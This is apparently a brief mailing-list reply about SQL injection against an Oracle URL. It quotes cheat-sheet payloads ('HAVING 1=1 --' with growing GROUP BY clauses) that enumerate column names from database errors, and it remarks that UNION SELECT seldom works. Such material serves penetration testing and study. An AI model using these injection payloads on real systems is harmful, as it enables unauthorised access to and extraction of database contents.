Re: Oracle URL SQL Injection issue

Did you try HAVING 1=1? I use that all the time.

From: http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

    * ' HAVING 1=1 --
    * ' GROUP BY table.columnfromerror1 HAVING 1=1 --
    * ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
    * ' GROUP BY table.columnfromerror1, columnfromerror2,
columnfromerror(n) HAVING 1=1 -- and so on
    * If you are not getting any more error then it's done.


I've rarely seen UNION SELECT work except in some cases... tables have
to be structured a certain way bc of how UNION works.
